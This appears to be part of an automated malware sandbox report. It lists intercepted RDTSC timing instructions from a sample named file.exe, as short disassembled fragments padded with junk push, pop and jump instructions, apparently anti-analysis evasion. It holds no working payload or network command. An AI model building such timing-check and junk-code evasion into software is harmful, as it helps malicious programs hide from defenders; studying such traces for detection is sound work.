Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A669C second address: 10A66A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A66A0 second address: 10A66A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A66A6 second address: 10A66D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F2E4053260Bh 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push edi 0x00000012 pop edi 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F2E405325E5h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A66D5 second address: 10A66D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A66D9 second address: 10A66E3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2E405325D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6C2E second address: 10A6C48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6C48 second address: 10A6C65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2E405325E3h 0x00000009 jl 00007F2E405325D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A63CC second address: 10A6408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F2E40BD86ACh 0x0000000a pushad 0x0000000b jns 00007F2E40BD8696h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F2E40BD86A1h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD4C8 second address: 10AD4CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AD4CC second address: 10AD4E4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jnc 00007F2E40BD869Eh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABEB3 second address: 10ABEB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABEB9 second address: 10ABECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F2E40BD869Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABECD second address: 10ABEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2E405325E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC044 second address: 10AC05F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC05F second address: 10AC069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F2E405325D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC1EA second address: 10AC1F0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC1F0 second address: 10AC1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC49C second address: 10AC4A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ACA4E second address: 10ACA60 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F2E405325E4h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ACE9E second address: 10ACEAC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABB88 second address: 10ABBA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABBA2 second address: 10ABBAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABBAD second address: 10ABBB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ABBB1 second address: 10ABBB7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B18B5 second address: 10B18B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B12D5 second address: 10B12D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B12D9 second address: 10B12DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1409 second address: 10B140D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B140D second address: 10B1419 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1419 second address: 10B146B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E40BD86A7h 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F2E40BD86A8h 0x00000010 pushad 0x00000011 popad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jmp 00007F2E40BD86A8h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B146B second address: 10B1488 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325E3h 0x00000007 jp 00007F2E405325DCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B15A2 second address: 10B15B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F2E40BD869Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B15B7 second address: 10B15CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E405325E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B15CB second address: 10B15ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F2E40BD869Ah 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F2E40BD869Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B15ED second address: 10B15FB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2E405325D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6972 second address: 10B6976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B66D4 second address: 10B66E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA9A2 second address: 10BA9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA9A6 second address: 10BA9AC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA9AC second address: 10BA9B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BAB28 second address: 10BAB47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F2E405325E5h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2010 second address: 10C2014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2014 second address: 10C201A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C201A second address: 10C2020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1573 second address: 10C15AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F2E405325E7h 0x0000000b popad 0x0000000c jmp 00007F2E405325E9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C16EE second address: 10C16FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E40BD869Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C16FF second address: 10C1733 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2E405325D6h 0x00000008 jmp 00007F2E405325E0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007F2E405325E6h 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1733 second address: 10C173B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C173B second address: 10C173F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C173F second address: 10C1745 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C189A second address: 10C18E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2E405325DFh 0x00000008 jmp 00007F2E405325E4h 0x0000000d js 00007F2E405325D6h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 je 00007F2E405325F7h 0x0000001c pushad 0x0000001d jmp 00007F2E405325DDh 0x00000022 push edx 0x00000023 pop edx 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 pop eax 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1A49 second address: 10C1A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F2E40BD8696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1BD9 second address: 10C1BF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C664C second address: 10C6650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6650 second address: 10C6679 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325E3h 0x00000007 jmp 00007F2E405325DFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6A39 second address: 10C6A3F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6A3F second address: 10C6A5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F2E405325DAh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6A5C second address: 10C6A62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106EB21 second address: 106EB27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106EB27 second address: 106EB44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106EB44 second address: 106EB48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106EB48 second address: 106EBE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F2E40BD8698h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 mov cx, C95Ch 0x00000029 mov ebx, dword ptr [ebp+12491B7Bh] 0x0000002f mov ecx, dword ptr [ebp+122D18B9h] 0x00000035 add eax, ebx 0x00000037 push 00000000h 0x00000039 push esi 0x0000003a call 00007F2E40BD8698h 0x0000003f pop esi 0x00000040 mov dword ptr [esp+04h], esi 0x00000044 add dword ptr [esp+04h], 0000001Dh 0x0000004c inc esi 0x0000004d push esi 0x0000004e ret 0x0000004f pop esi 0x00000050 ret 0x00000051 jmp 00007F2E40BD869Ch 0x00000056 je 00007F2E40BD86A2h 0x0000005c jno 00007F2E40BD869Ch 0x00000062 nop 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 push eax 0x00000067 pop eax 0x00000068 jg 00007F2E40BD8696h 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6EAE second address: 10C6EB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C79B8 second address: 10C79C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F2E40BD8696h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C79C4 second address: 10C79CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2E405325D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD480 second address: 10CD484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD5C8 second address: 10CD5F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E405325E2h 0x00000009 pop ebx 0x0000000a push esi 0x0000000b jmp 00007F2E405325E4h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD5F6 second address: 10CD5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD5FB second address: 10CD615 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2E405325DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ecx 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD74E second address: 10CD756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CDA10 second address: 10CDA16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CDC70 second address: 10CDC82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CDC82 second address: 10CDC8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE24C second address: 10CE276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jmp 00007F2E40BD86A2h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F2E40BD8696h 0x00000017 jnc 00007F2E40BD8696h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE276 second address: 10CE27A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE27A second address: 10CE280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE280 second address: 10CE298 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007F2E405325D6h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2E405325DCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE298 second address: 10CE29C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4CF1 second address: 10D4CFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F2E405325D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4CFB second address: 10D4D17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b jmp 00007F2E40BD86A0h 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4D17 second address: 10D4D2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2E405325E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4D2D second address: 10D4D31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4D31 second address: 10D4D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4D3B second address: 10D4D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8D36 second address: 10D8D3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8D3C second address: 10D8D45 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8D45 second address: 10D8D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E405325E0h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8D60 second address: 10D8D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F2E40BD8696h 0x0000000a pop ebx 0x0000000b jnc 00007F2E40BD869Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7FAA second address: 10D7FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2E405325E2h 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7FC4 second address: 10D7FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D812E second address: 10D8134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8459 second address: 10D848A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F2E40BD869Ch 0x0000000d jmp 00007F2E40BD86A7h 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D848A second address: 10D84D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push edx 0x00000008 jmp 00007F2E405325E5h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 jmp 00007F2E405325E2h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F2E405325E8h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D879C second address: 10D87AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD869Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
